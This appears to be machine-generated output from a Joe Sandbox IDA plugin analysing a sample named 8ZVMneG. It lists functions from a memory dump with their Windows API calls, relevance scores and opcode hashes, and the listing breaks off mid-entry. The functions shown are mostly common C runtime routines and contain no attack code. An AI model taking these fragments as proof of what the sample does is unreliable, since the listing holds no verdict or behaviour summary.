Instruction Fuzzy Hash: B8016D336002265FCB199F69ED41D6B33A5FBC0764321912AFA24FB255DF30D806C750

Function 00EC8770 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00EC8825

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: d2955eb329fbbce40f9f0f44c6fd04ba85627761f37665d895bf79bbdec7228f
Instruction ID: f3746e3dc0d82822a74d28a25be9dbb5390b661d7f7daa16f8ed9aa39c8912f4
Opcode Fuzzy Hash: d2955eb329fbbce40f9f0f44c6fd04ba85627761f37665d895bf79bbdec7228f
Instruction Fuzzy Hash: B521A8B4904209DFDB08EF64D651BAEBBF0FF48300F40846EE859AB350DB359A46CB91

Function 00EC8B60 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00EC8C0B

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: 42dd5950fed9cdb3102dfa571f4af143d1626f837496086c5bce9dc75e6bd179
Instruction ID: 2e61c022265b24fc8bc80111ee1f5c8f473357cbfebbfa384e28ba3399403378
Opcode Fuzzy Hash: 42dd5950fed9cdb3102dfa571f4af143d1626f837496086c5bce9dc75e6bd179
Instruction Fuzzy Hash: 1A21D8B4905209DFDB08EF68C651BAEFBF0BF44300F40846DE449AB350DB359A46CB92

Function 00ECA101 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: 8f421e4b84ad997d4a61e9cf8488dc0d58add259e3eb3bb59453e2e46ac1e8a3
Instruction ID: 6ed9ca4159bc711a1f04b475dd7ce02522734fcbae75c276fa6c6c8f67af2017
Opcode Fuzzy Hash: 8f421e4b84ad997d4a61e9cf8488dc0d58add259e3eb3bb59453e2e46ac1e8a3
Instruction Fuzzy Hash: 3501D67260925A5ACB099A78AB59FE8BB91EF4633CF2C617FD461A8092CA134853D211

Function 00ED8700 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,00ED7620,00000001,00000364,?,00000006,000000FF,?,00ED126E,00EF1540,0000000C), ref: 00ED8741

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b099dfc10d6aaec8debd1d75341b10f70373ca6f794de095ab9198789673b5fb
Instruction ID: 90e39e8e6b02bb3fac337be7c7e33c1533d3ab0adf310fac8dd051c06f93781d
Opcode Fuzzy Hash: b099dfc10d6aaec8debd1d75341b10f70373ca6f794de095ab9198789673b5fb
Instruction Fuzzy Hash: 6BF05B31501124ABAB115E669E45F5A77D8DF817A4B287453A854F6391CE70D8038591

Function 00ED7381 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00ED935A,?,?,00ED935A,00000220,?,00000001,?), ref: 00ED73B3

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4ac2b7fe16e55e131cf236362bda1419a083c1e84f07e0b0d3ef94fbe03f6206
Instruction ID: d8757240f87db616a51bd365dc1bfe7d55f3085b4e678d14bab3c7db710b552c
Opcode Fuzzy Hash: 4ac2b7fe16e55e131cf236362bda1419a083c1e84f07e0b0d3ef94fbe03f6206
Instruction Fuzzy Hash: CFE065311092129AE7212B669C01F5B3A88DF817A4F193163EC94B63D5FB61CC02A1A5

Non-executed Functions

Function 00EE29F2 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00EE2C09

Strings

1#QNAN, xrefs: 00EE2B05
1#IND, xrefs: 00EE2AF7
1#SNAN, xrefs: 00EE2AFE
1#INF, xrefs: 00EE2B28

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: d3fede1bac23fcd1b1581a763edbdb5746355ae0ba756c3bd491edeb0966ed5f
Instruction ID: f7424cf5f9961e879d87b8fb9194e97ad041bfb4f41e69cdf1b06297a28b3905
Opcode Fuzzy Hash: d3fede1bac23fcd1b1581a763edbdb5746355ae0ba756c3bd491edeb0966ed5f
Instruction Fuzzy Hash: 60D23672E0826D8FDB65CE29DD447EAB7B5EB84304F1451EAD40DB7240EB78AE818F41

Function 00EDCD76 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00EDC747,00000002,00000000,?,?,?,00EDC747,?,00000000), ref: 00EDCE0F
GetLocaleInfoW.KERNEL32(?,20001004,00EDC747,00000002,00000000,?,?,?,00EDC747,?,00000000), ref: 00EDCE38
GetACP.KERNEL32(?,?,00EDC747,?,00000000), ref: 00EDCE4D

Strings

ACP, xrefs: 00EDCD94
OCP, xrefs: 00EDCDCA

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 85cdf6e73df8426cd934c74b10adc2e5869525fb102f8901846c81ca49ff0266
Instruction ID: 3e3db180477ebd532755d5356b3e935188943930dda3020dc1153cde32ff80a1
Opcode Fuzzy Hash: 85cdf6e73df8426cd934c74b10adc2e5869525fb102f8901846c81ca49ff0266
Instruction Fuzzy Hash: DF21F762600102AADB348F14CD00AA777A7EB44BD8B36A436E90AF7301E732CD03C390

Function 00EDC611 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00ED75D3: GetLastError.KERNEL32(?,?,00ED126E,00EF1540,0000000C), ref: 00ED75D7
Part of subcall function 00ED75D3: SetLastError.KERNEL32(00000000), ref: 00ED7679

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00EDC719
IsValidCodePage.KERNEL32(00000000), ref: 00EDC757
IsValidLocale.KERNEL32(?,00000001), ref: 00EDC76A
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00EDC7B2
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00EDC7CD

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: d5ccbb6367beed15396ffab2ae78ff0e5baf3b05b6a035eabe9fff3c8b291b24
Instruction ID: 7aba14ac574993cee793873d06c4b11106c65c1915228e1f4004172d5d290cad
Opcode Fuzzy Hash: d5ccbb6367beed15396ffab2ae78ff0e5baf3b05b6a035eabe9fff3c8b291b24
Instruction Fuzzy Hash: A9513F7190020AAEDB10DFB5DC81ABA77B8EF48784F24646BA510F7291EB70D906CB61

Function 00ED5790 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0370feb49d06202b0a8a2cb5e48f043198ba8953b6faff8e379c5fb6cd4322bb
Instruction ID: 09fda980ce19e0da05365bc11833d5e890837992ee04c4460143fab019fd4883
Opcode Fuzzy Hash: 0370feb49d06202b0a8a2cb5e48f043198ba8953b6faff8e379c5fb6cd4322bb
Instruction Fuzzy Hash: C0021C72E016199BDF14CFA9C9906AEFBF1FF88314F24826AD519B7341D731A942CB90

Function 00EDD358 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00EDD448

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 2655a04abeb1238d9858a7430c21b6b4079a8da99d729672b6a181db56a5f5eb
Instruction ID: 3cc6cf2523f0396996b775a28e6966f85090cdcf97480f84d741be84319d0e8a
Opcode Fuzzy Hash: 2655a04abeb1238d9858a7430c21b6b4079a8da99d729672b6a181db56a5f5eb
Instruction Fuzzy Hash: 0671E8719091589FDF25AF28DC89AFDBBB8EB05308F1451DAE049B7351EA318EC69F10

Function 00ECB64C Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00ECB658
IsDebuggerPresent.KERNEL32 ref: 00ECB724
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00ECB73D
UnhandledExceptionFilter.KERNEL32(?), ref: 00ECB747

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 0d1e4f5e676aa93c5d199874a0d764a80a36ddaa4d3168867d905592d51ecce1
Instruction ID: dada10168f7464764bd1309d41c5e153df52ffc6ffdf986268c84e80e46c5ac7
Opcode Fuzzy Hash: 0d1e4f5e676aa93c5d199874a0d764a80a36ddaa4d3168867d905592d51ecce1
Instruction Fuzzy Hash: C831F975D053189BDF20DF65D94ABCDBBF8AF48304F1041AAE40CAB251EB719A85CF45

Function 00ECC367 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00ECC379
GetCurrentThreadId.KERNEL32 ref: 00ECC388
GetCurrentProcessId.KERNEL32 ref: 00ECC391
QueryPerformanceCounter.KERNEL32(?), ref: 00ECC39E

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: e3eaf246e4f0a7487de45c5edd894af5d60a4a2ae5d0c6f53d7a10c242ad238b
Instruction ID: 5a829d42e31b71b24c5fc16696df61cc0276c20d97b65258c2452c7a9562c0aa
Opcode Fuzzy Hash: e3eaf246e4f0a7487de45c5edd894af5d60a4a2ae5d0c6f53d7a10c242ad238b
Instruction Fuzzy Hash: BDF05F74D1120DEFCB04DBB5DA4999EBBF4FF9C204B914695A412F7111EA30AA48DF50

Function 00EDC8FD Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00ED75D3: GetLastError.KERNEL32(?,?,00ED126E,00EF1540,0000000C), ref: 00ED75D7
Part of subcall function 00ED75D3: SetLastError.KERNEL32(00000000), ref: 00ED7679

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00EDC951
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00EDC99B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00EDCA61

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 1ad9af5bdbd4e36f74c96dedbda5f92b2d998e7f9f17bdc86c4ac65f5caf3497
Instruction ID: f9a1819ad761a302788edcf9261dc2c0974f9c8a3ec810c8cbfd208023dcaaca
Opcode Fuzzy Hash: 1ad9af5bdbd4e36f74c96dedbda5f92b2d998e7f9f17bdc86c4ac65f5caf3497
Instruction Fuzzy Hash: 4F61A47151020B9FDB28DF25CD82BBAB7A8EF04384F20517BE906E6785E734D946DB50

Function 00ED3C11 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00ED3D09
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00ED3D13
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 00ED3D20

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: db233172ec044e9c787df611aa82f8e2d51eba38e79f8aa2b075c28c9bd4c0dd
Instruction ID: 62c0229834112e75b704aa95bf2316d96e60b2a9f26ee3ff81c5199b2fb4f8ad
Opcode Fuzzy Hash: db233172ec044e9c787df611aa82f8e2d51eba38e79f8aa2b075c28c9bd4c0dd
Instruction Fuzzy Hash: FB31D2749012289BCB21DF29DD89B9CBBB8BF48310F5055EAE40CA7251EB709F868F45

Function 00EE0C16 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00EE0B71,?,?,00000008,?,?,00EE700B,00000000), ref: 00EE0E43

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 64c62baf0cfab19bce6d3eebbfb457ed73aa01995c7c989b9b0d2ea588aaa978
Instruction ID: 99da01a5db7a2686a5ba254b12b2488b4171d3a154a1ba643dd3751113177afb
Opcode Fuzzy Hash: 64c62baf0cfab19bce6d3eebbfb457ed73aa01995c7c989b9b0d2ea588aaa978
Instruction Fuzzy Hash: 71B16C31210648DFDB19CF29C486BA57BE0FF45368F299658E8DADF2A1C375E981CB40

Function 00ECB2B8 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00ECB2CE

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 8e04d2fb04b7ac6a97f566e54de7b3e26342c43b662735b2d4e9d2e890bf5b9d
Instruction ID: 0d52ab1c0cf7ab7af11b1b1df8f7499d5cb6330a32a854142f7a0867e221eb50
Opcode Fuzzy Hash: 8e04d2fb04b7ac6a97f566e54de7b3e26342c43b662735b2d4e9d2e890bf5b9d
Instruction Fuzzy Hash: B4A1BEB1A002458FCB1CCF6AD9827AABBF1FB88314F24912ED501FB260D3359949CF60

Function 00EDD2A7 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00ED8700: RtlAllocateHeap.NTDLL(00000008,?,?,?,00ED7620,00000001,00000364,?,00000006,000000FF,?,00ED126E,00EF1540,0000000C), ref: 00ED8741

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00EDD448
